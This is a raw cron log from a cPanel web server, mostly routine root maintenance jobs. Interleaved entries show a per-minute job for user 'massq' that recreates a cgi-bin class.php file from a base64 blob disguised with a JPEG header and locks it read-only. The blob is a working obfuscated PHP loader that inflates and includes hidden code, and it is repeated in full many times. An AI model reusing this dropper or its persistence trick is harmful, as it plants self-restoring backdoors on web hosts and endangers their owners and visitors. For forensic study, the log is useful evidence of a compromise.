Sep  1 06:47:01 server CROND[10250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:48:01 server CROND[10648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:48:01 server CROND[10649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:48:01 server CROND[10650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:49:01 server CROND[11038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:49:01 server CROND[11040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:49:01 server CROND[11039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:50:01 server CROND[11442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:50:01 server CROND[11444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:50:01 server CROND[11446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:50:01 server CROND[11449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:50:01 server CROND[11451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:50:01 server CROND[11452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:50:01 server CROND[11448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:50:01 server CROND[11450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:50:01 server CROND[11447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:51:01 server CROND[12281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:51:01 server CROND[12283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:51:01 server CROND[12282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:52:01 server CROND[12777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:52:01 server CROND[12778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:52:01 server CROND[12779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:53:01 server CROND[13186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:53:01 server CROND[13187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:53:01 server CROND[13188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:54:01 server CROND[13577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:54:01 server CROND[13578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:54:01 server CROND[13579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:55:01 server CROND[13981]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:55:01 server CROND[13982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:55:01 server CROND[13983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:55:01 server CROND[13987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:55:01 server CROND[13986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:55:01 server CROND[13985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:55:01 server CROND[13988]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:56:01 server CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:56:01 server CROND[14820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:56:01 server CROND[14821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:57:01 server CROND[15306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:57:01 server CROND[15307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:57:01 server CROND[15308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:57:01 server CROND[15309]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:58:01 server CROND[15704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:58:01 server CROND[15705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:58:01 server CROND[15706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:59:01 server CROND[16097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:59:01 server CROND[16098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:59:01 server CROND[16100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:00:01 server CROND[16488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:00:01 server CROND[16493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:00:01 server CROND[16497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
